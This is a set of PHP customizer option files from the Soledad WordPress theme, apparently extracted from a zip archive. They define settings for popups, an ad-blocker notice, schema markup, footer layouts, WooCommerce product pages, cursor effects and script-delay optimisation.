	'description' => __( 'You can add new or edit a Penci Block on <a class="wp-customizer-link" target="_blank" href="' . esc_url( admin_url( '/edit.php?post_type=penci-block' ) ) . '">this page</a>', 'soledad' ),
	'type'        => 'soledad-fw-ajax-select',
	'choices'     => call_user_func( function () {
		$builder_layout  = [ '' => __( '- Select -', 'soledad' ) ];
		$builder_layouts = get_posts( [
			'post_type'      => 'penci-block',
			'posts_per_page' => - 1,
		] );

		foreach ( $builder_layouts as $builder_builder ) {
			$builder_layout[ $builder_builder->post_name ] = $builder_builder->post_title;
		}

		return $builder_layout;
	} ),
);
$options[] = array(
	'id'          => 'penci_popup_show_after_time',
	'default'     => '2000',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Popup Delay', 'soledad' ),
	'description' => __( 'Show popup after some time (in milliseconds). Apply for "Some Time" Setting.', 'soledad' ),
	'type'        => 'soledad-fw-text'
);
$options[] = array(
	'id'          => 'penci_popup_show_after_time',
	'default'     => '7',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Show After Fixed Time', 'soledad' ),
	'description' => __( 'Set the number of days expire the popup cookie. Apply for "After Fixed Time" Setting.', 'soledad' ),
	'type'        => 'soledad-fw-text'
);
$options[] = array(
	'id'          => 'penci_popup_version',
	'default'     => '1',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Popup Version', 'soledad' ),
	'description' => __( 'If you apply any changes to your popup settings or content you might want to force the popup to all visitors who already closed it again. In this case, you just need to increase the banner version.', 'soledad' ),
	'type'        => 'soledad-fw-text'
);
$options[] = array(
	'id'          => 'penci_popup_show_after_pages',
	'default'     => '0',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Show After Number of Pages Visited', 'soledad' ),
	'description' => __( 'You can choose how many pages the user should visit before the popup will be shown.', 'soledad' ),
	'type'        => 'soledad-fw-text'
);
$options[] = array(
	'id'       => 'penci_popup_animation',
	'default'  => 'move-to-top',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Popup Open Animation', 'soledad' ),
	'type'     => 'soledad-fw-select',
	'choices'  => [
		'move-to-left'   => __( 'Move To Left', 'soledad' ),
		'move-to-right'  => __( 'Move To Right', 'soledad' ),
		'move-to-top'    => __( 'Move To Top', 'soledad' ),
		'move-to-bottom' => __( 'Move To Bottom', 'soledad' ),
		'fadein'         => __( 'Fade In', 'soledad' ),
	]
);

return $options;
PK     N\!i~    L  inc/customizer/config/sections/pencidesign_new_section_adblocker_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Ad Blocker Detector Pop-up', 'soledad' ),
	'id'          => 'penci_adblocker_popup',
	'description' => __( 'Block the adblockers from browsing the site, till they turn off the Ad Blocker. ', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => __( 'Adblock Detected', 'soledad' ),
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Pop-up Title', 'soledad' ),
	'id'       => 'penci_adblocker_popup_title',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Pop-up Message', 'soledad' ),
	'id'       => 'penci_adblocker_popup_message',
	'default'  => __( 'Please support us by disabling your AdBlocker extension from your browsers for our website.', 'soledad' ),
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Button Text', 'soledad' ),
	'id'       => 'penci_adblocker_dissmiss',
	'default'  => __( 'Dismiss this message', 'soledad' ),
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Number of seconds before displaying the message', 'soledad' ),
	'id'       => 'penci_adblocker_popup_time',
	'type'     => 'soledad-fw-number',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Is dismissable?', 'soledad' ),
	'id'          => 'penci_adblocker_popup_dismissable',
	'description' => __( 'Allow visitors to dismiss the message.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Don\'t show again after dismissing', 'soledad' ),
	'id'       => 'penci_adblocker_popup_onetime',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => [],
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Don\'t show for user group', 'soledad' ),
	'id'       => 'penci_adblocker_user_group',
	'type'     => 'soledad-fw-select',
	'multiple' => 999,
	'choices'  => call_user_func( function () {
		$roles = [];

		$wp_roles = new \WP_Roles();
		if ( ! empty( $wp_roles ) ) {
			foreach ( $wp_roles->roles as $role_name => $role_info ) {
				$roles[ $role_name ] = $role_info['name'];
			}
		}

		return $roles;
	} ),
);
$options[] = array(
	'label' => __( 'Popup Colors', 'soledad' ),
	'id'    => 'penci_adblocker_popup_heading',
	'type'  => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Popup Background Color', 'soledad' ),
	'id'       => 'penci_adblocker_popup_bgcolor',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Popup Icon Color', 'soledad' ),
	'id'       => 'penci_adblocker_popup_icolor',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Popup Heading Color', 'soledad' ),
	'id'       => 'penci_adblocker_popup_headingcolor',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Popup Text Color', 'soledad' ),
	'id'       => 'penci_adblocker_popup_textcolor',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Popup Button Color', 'soledad' ),
	'id'       => 'penci_adblocker_popup_btncolor',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'label'    => __( 'Popup Button Hover Color', 'soledad' ),
	'id'       => 'penci_adblocker_popup_btnhcolor',
	'type'     => 'soledad-fw-color',
);

return $options;PK     N\|8	  8	  L  inc/customizer/config/sections/pencidesign_general_schema_markup_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Custom General Logo for Schema Markup', 'soledad' ),
	'type'     => 'soledad-fw-image',
	'id'       => 'penci_logo_schema',
	'sanitize' => 'esc_url_raw'
);
$options[] = array(
	'label'    => __( 'Remove WPHeader Schema Data', 'soledad' ),
	'id'       => 'penci_schema_wphead',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove WPFooter Schema Data', 'soledad' ),
	'id'       => 'penci_schema_wpfoot',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove Site Navigation Schema Data', 'soledad' ),
	'id'       => 'penci_schema_sitenav',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove Hentry Schema Data', 'soledad' ),
	'id'       => 'penci_schema_hentry',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove General Organization Schema Data', 'soledad' ),
	'id'       => 'penci_schema_organization',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove Website Schema Data', 'soledad' ),
	'id'       => 'penci_schema_website',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove Breadcrumbs Schema Data', 'soledad' ),
	'id'       => 'penci_schema_breadcrumbs',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Remove Schema Data for Single Posts/Pages', 'soledad' ),
	'id'       => 'penci_schema_single',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);
$options[] = array(
	'label'    => __( 'Use NewsArticle Schema for All Posts', 'soledad' ),
	'id'       => 'penci_post_use_newsarticle',
	'type'     => 'soledad-fw-toggle',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field'
);

return $options;
PK     N\    F  inc/customizer/config/sections/penci_footer_builder_config_section.phpnu [        <?php
$footer_options     = [];
$footer_options[''] = __( '- Select -', 'soledad' );
$builder_layouts    = get_posts( [
	'post_type'      => 'penci-block',
	'posts_per_page' => - 1,
] );
foreach ( $builder_layouts as $builder_builder ) {
	$footer_options[ $builder_builder->post_name ] = $builder_builder->post_title;
}
$options = [];
/* Saved Layout */
$options[] = array(
	'id'       => 'penci_footer_builder_layout',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'General Footer Builder for All Pages', 'soledad' ),
	'choices'  => $footer_options,
);

$options[] = array(
	'id'       => 'penci_footer_builder_layout_homepage',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Footer Builder for Homepage', 'soledad' ),
	'choices'  => $footer_options,
);

$options[] = array(
	'id'       => 'penci_footer_builder_layout_archive',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Footer Builder for Category,Tag, Search, Archive Pages', 'soledad' ),
	'choices'  => $footer_options,
);

$options[] = array(
	'id'       => 'penci_footer_builder_layout_page',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Footer Builder for Pages', 'soledad' ),
	'choices'  => $footer_options,
);

$options[] = array(
	'id'       => 'penci_footer_builder_layout_post',
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'label'    => esc_html__( 'Footer Builder for Single Post Pages', 'soledad' ),
	'choices'  => $footer_options,
);

return $options;
PK     N\Uy-%  %  J  inc/customizer/config/sections/pencidesign_woo_single_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'     => 'top',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Breadcrumb Position', 'soledad' ),
	'description' => __( 'Select the breadcrumb position on single product', 'soledad' ),
	'id'          => 'penci_single_product_breadcrumb_position',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'top'     => __( 'Top of page', 'soledad' ),
		'summary' => __( 'Top of product summary', 'soledad' ),
		'hidden'  => __( 'Hidden', 'soledad' ),
	)
);
$options[] = array(
	'default'     => 'standard',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product image width', 'soledad' ),
	'description' => __( 'You can choose different page layout depending on the product image size you need', 'soledad' ),
	'id'          => 'penci_single_product_img_width',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'standard'            => __( 'Standard', 'soledad' ),
		'medium'              => __( 'Medium', 'soledad' ),
		'large'               => __( 'Large', 'soledad' ),
		'fullwidth-container' => __( 'Full Width (Container)', 'soledad' ),
		'fullwidth'           => __( 'Full Width', 'soledad' ),
	)
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Custom Max Width for Product Detail on Full Width Images Style', 'soledad' ),
	'id'       => 'penci_single_product_summary_width',
	'ids'      => array(
		'desktop' => 'penci_single_product_summary_width',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'     => 'thumbnail-left',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Thumbnails position', 'soledad' ),
	'description' => __( 'Use vertical or horizontal position for thumbnails.', 'soledad' ),
	'id'          => 'penci_single_product_thumbnail_position',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'thumbnail-left'         => __('Left','soledad' ),
		'thumbnail-right'        => __('Right','soledad' ),
		'thumbnail-bottom'       => __('Bottom','soledad' ),
		'thumbnail-bottom-1-col' => __('Bottom 1 Column','soledad' ),
		'thumbnail-bottom-2-col' => __('Bottom 2 Column','soledad' ),
		'thumbnail-grid'         => __('Grid','soledad' ),
		'thumbnail-without'      => __('Without','soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Zoom on Gallery Product', 'soledad' ),
	'id'       => 'penci_woo_disable_zoom',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Sticky Product Image & Content', 'soledad' ),
	'description' => __( 'Check to enable sticky content & product images', 'soledad' ),
	'id'          => 'penci_single_product_sticky_thumbnail_content',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Disable Single Product Ajax Add to Cart', 'soledad' ),
	'description' => __( 'Turn on this option if the addon product doesn\'t add to cart.', 'soledad' ),
	'id'          => 'penci_single_product_disable_ajax_atc',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_single_product_top_related_product',
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Top Next/Previous Products', 'soledad' ),
	'description' => __( 'Check to show the next/prvious post on the top of product.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => 'default',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Tabs Content Display Style', 'soledad' ),
	'id'       => 'penci_single_product_style',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'default'           => __('Standard','soledad' ),
		'accordion-tab'     => __('Accordion Toggle','soledad' ),
		'accordion-content' => __('Accordion Content','soledad' ),
	)
);
$options[] = array(
	'default'     => 'standard',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Summary Align', 'soledad' ),
	'description' => __( 'Select default product summary align style', 'soledad' ),
	'id'          => 'penci_single_product_summary_align',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'standard' => __('Standard','soledad' ),
		'center'   => __('Center','soledad' ),
	)
);
$options[] = array(
	'default'  => 'disable',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Enable sticky add to cart ?', 'soledad' ),
	'id'       => 'pencidesign_woo_single_sticky_add_to_cart',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'enable'  => __('Enable','soledad' ),
		'disable' => __('Disable','soledad' ),
	)
);
$options[] = array(
	'default'     => 'disable',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Add shadow to product summary block', 'soledad' ),
	'description' => __( 'Useful when you set background color for the single product page to gray for example.', 'soledad' ),
	'id'          => 'woo_single_add_shadow_to_summary',
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'enable'  => __('Enable','soledad' ),
		'disable' => __('Disable','soledad' ),
	)
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Custom Tab', 'soledad' ),
	'id'       => 'penci_woo_custom_tab',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_text_field',
	'label'    => __( 'Custom Tab Title', 'soledad' ),
	'id'       => 'penci_woo_custom_tab_title',
	'type'     => 'soledad-fw-text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_textarea_field',
	'label'    => __( 'Custom Tab Content', 'soledad' ),
	'id'       => 'penci_woo_custom_tab_content',
	'type'     => 'soledad-fw-textarea',
);
$options[] = array(
	'default'  => 50,
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Custom Tab Priority', 'soledad' ),
	'id'       => 'penci_woo_custom_tab_priority',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_custom_tab_priority',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '50',
		),
	),
);
$options[] = array(
	'default'     => true,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Convert select into the button', 'soledad' ),
	'description' => __( 'Convert the select into button on the no-swatches field.', 'soledad' ),
	'id'          => 'pencidesign_woo_single_select2button',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_woo_social_share_style',
	'default'     => 'style-1',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Social Sharing Style', 'soledad' ),
	'description' => __( 'Select the social sharing style.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'style-1' => __('Style 1','soledad' ),
		'style-2' => __('Style 2','soledad' ),
		'style-3' => __('Style 3','soledad' ),
		'style-4' => __('Style 4','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_woo_social_icon_style',
	'default'     => 'circle',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Product Social Icon Style', 'soledad' ),
	'description' => __( 'Select the social sharing style.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'circle' => __('Circle','soledad' ),
		'square' => __('Square','soledad' ),
	)
);
$options[] = array(
	'id'          => 'penci_shop_product_related_columns',
	'default'     => 4,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Related Product Columns', 'soledad' ),
	'description' => __( 'How many products should be shown per row on related section ?', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);
$options[] = array(
	'default'  => '4',
	'sanitize' => 'penci_sanitize_number_field',
	'label'    => __( 'Custom Amount of Related Products', 'soledad' ),
	'id'       => 'penci_woo_number_related_products',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_woo_number_related_products',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => '',
			'default' => '4',
		),
	),
);
$options[] = array(
	'id'          => 'penci_shop_product_up_sell_columns',
	'default'     => 4,
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Up Sell Product Columns', 'soledad' ),
	'description' => __( 'How many products should be shown per row on up sell section ?', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		2 => __('2 Columns','soledad' ),
		3 => __('3 Columns','soledad' ),
		4 => __('4 Columns','soledad' ),
		5 => __('5 Columns','soledad' ),
		6 => __('6 Columns','soledad' ),
	)
);

return $options;
PK     N\uoT
  
  E  inc/customizer/config/sections/pencidesign_general_cursor_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'       => 'penci_cursor_enable',
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Cursor Effect', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Cursor Size', 'soledad' ),
	'id'          => 'penci_cursor_size',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_cursor_size',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Cursor Circle Inner Size', 'soledad' ),
	'id'          => 'penci_cursor_circle_inner_size',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_cursor_circle_inner_size',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Hover Cursor Circle Inner Size', 'soledad' ),
	'id'          => 'penci_cursor_exsmall_size',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_cursor_exsmall_size',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'     => '',
	'sanitize'    => 'absint',
	'label'       => __( 'Cursor Border Width', 'soledad' ),
	'id'          => 'penci_cursor_bdw',
	'type'        => 'soledad-fw-size',
	'ids'         => array(
		'desktop' => 'penci_cursor_bdw',
	),
	'choices'     => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'     => 'solid',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Cursor Border Style', 'soledad' ),
	'id'          => 'penci_cursor_bds',
	'type'        => 'soledad-fw-select',
	'choices'         => [
		'solid' 	=> 'Solid',
		'dotted'  	=> 'Dotted',
		'dashed'  	=> 'Dashed',
		'double'  	=> 'Double',
	],
);
$options[] = array(
	'label'    => __( 'Cursor Color', 'soledad' ),
	'id'       => 'penci_cursor_main_inv_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
return $options;
PK     N\    I  inc/customizer/config/sections/penci_section_spost_cpost_meta_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Showing Custom Meta Fields?', 'soledad' ),
	'id'       => 'penci_cpost_cmeta_enable',
	'type'     => 'soledad-fw-toggle',
);

$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Showing Custom Post Meta Fields', 'soledad' ),
	'description'=>__('Secperate with the commas','soledad'),
	'id'          => 'penci_cpost_cmeta_fields',
	'type'        => 'soledad-fw-text',
);

$options[] = array(
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Showing fields from Advanced Custom Fields plugin', 'soledad' ),
	'description'=>__('You can show your own custom fields easily by using the <a class="wp-customizer-link" href="https://wordpress.org/plugins/advanced-custom-fields/" target="_blank">Advanced Custom Fields</a> plugin.','soledad'),
	'id'          => 'penci_cpost_cmeta_acf',
	'type'        => 'soledad-fw-select',
	'multiple'    => 999,
	'choices'     => penci_get_afc_fields()
);

$options[] = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Showing Custom Post Meta Label', 'soledad' ),
	'description'=>__('This option just applies for the fields from Advanced Custom Fields only.','soledad'),
	'id'          => 'penci_cpost_cmeta_label',
	'type'        => 'soledad-fw-toggle',
);

$options[] = array(
	'default'  => ':',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Custom Divider Between Meta Label & Meta Value', 'soledad' ),
	'id'       => 'penci_cpost_divider_cmeta_label',
	'type'     => 'soledad-fw-text',
);

return $options;
PK     N\    F  inc/customizer/config/sections/penci_section_sidebar_fsize_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Sidebar Widget Heading', 'soledad' ),
	'id'       => 'penci_sidebar_heading_size',
	'ids'         => array(
		'desktop' => 'penci_sidebar_heading_size',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
			'default'  => '14',
		),
	),
);

return $options;
PK     N\YX    I  inc/customizer/config/sections/penci_section_speed_javascript_section.phpnu [        <?php
$options    = [];
$options[]  = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Minify JS from the Theme', 'soledad' ),
	'id'       => 'penci_speed_js_minify',
	'type'     => 'soledad-fw-toggle',
);
$options[]  = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Remove jQuery Migrate', 'soledad' ),
	'id'       => 'penci_speed_remove_jquery_migrate',
	'type'     => 'soledad-fw-toggle',
);
$options[]  = array(
	'id'          => 'penci_speed_delay_js',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Delay Javascript Execution', 'soledad' ),
	'description' => __( "Delay execution of the targeted JS files until user interaction ( move mouse, click, scroll, touch,... ).", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[]  = array(
	'id'          => 'penci_speed_delay_js_adsense',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Delay Google Ads', 'soledad' ),
	'description' => __( "Delay Google Adsense until first interaction.", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$default_ex = "analytics.js
google-analytics
googletagmanager
analytics
gtag
jetpack
url://stats.wp.com
_stq.push
browser-redirect/app.js
id:-js-extra
et_core_page_resource_fallback
window.\$us === undefined
js-extra
fusionNavIsCollapsed
eio_lazy_vars
et_animation_data
wpforms_settings
var nfForms
//stats.wp.com
_stq.push
fluent_form_ff_form_instance_
cpLoadCSS
ninja_column_
var rbs_gallery_
var lepopup_
var billing_additional_field
var gtm4wp
var dataLayer_content
/ewww-image-optimizer/includes/load[_-]webp(\.min)?.js
/ewww-image-optimizer/includes/check-webp(\.min)?.js
ewww_webp_supported
/dist/js/browser-redirect/app.js
/perfmatters/js/lazyload.min.js
scripts.mediavine.com/tags/
initCubePortfolio
jetpack-lazy-images-js-enabled
jetpack-boost-critical-css";
$options[]  = array(
	'id'          => 'penci_speed_delay_js_excludes',
	'default'     => $default_ex,
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Exclude Scripts from Delay Execution', 'soledad' ),
	'description' => __( 'Enter one per line to exclude certain scripts from this optimizations, you can use ids of the scripts or a part from src attr from the scripts.<br/>Examples:', 'soledad' )
	                 . '<br/><code>id:my-js-id</code> or <code>a-part-from-src-attr</code>',
	'type'        => 'soledad-fw-textarea',
);
$options[]  = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Load deferred for JS files from the theme', 'soledad' ),
	'id'          => 'penci_speed_add_defer',
	'description' => __( "This option will help you add defer='defer' attr to JS files from the theme", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[]  = array(
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Manually add JS name(s) to load defer="defer"', 'soledad' ),
	'id'          => 'penci_speed_add_more_defer',
	'description' => __( "You can manage to add JS you want to load defer='defer' here, use JS name(s) & separated by commas.<br>Example: <strong>js-name-a, js-name-b</strong><br><strong>The JS name</strong> is \$handle string use inside <a class='wp-customizer-link' href='https://developer.wordpress.org/reference/functions/wp_enqueue_script/' target='_blank'>wp_enqueue_script</a> function", "soledad" ),
	'type'        => 'soledad-fw-textarea',
);

return $options;
PK     N\Ȼ;  ;  N  inc/customizer/config/sections/pencidesign_topbar_section_fontsize_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for General Text on Topbar', 'soledad' ),
	'type'     => 'soledad-fw-size',
	'id'       => 'penci_topbar_ctsize',
	'ids'      => array(
		'desktop' => 'penci_topbar_ctsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'default'  => '12',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for "Top Posts" text', 'soledad' ),
	'id'       => 'penci_top_bar_top_post_size',
	'ids'      => array(
		'desktop' => 'penci_top_bar_top_post_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => '12',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Post Titles on "Top Posts"', 'soledad' ),
	'id'       => 'penci_top_bar_top_post_size_title',
	'ids'      => array(
		'desktop' => 'penci_top_bar_top_post_size_title',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => '11',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Topbar Menu Level 1', 'soledad' ),
	'id'       => 'penci_top_bar_menu_level_one',
	'ids'      => array(
		'desktop' => 'penci_top_bar_menu_level_one',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
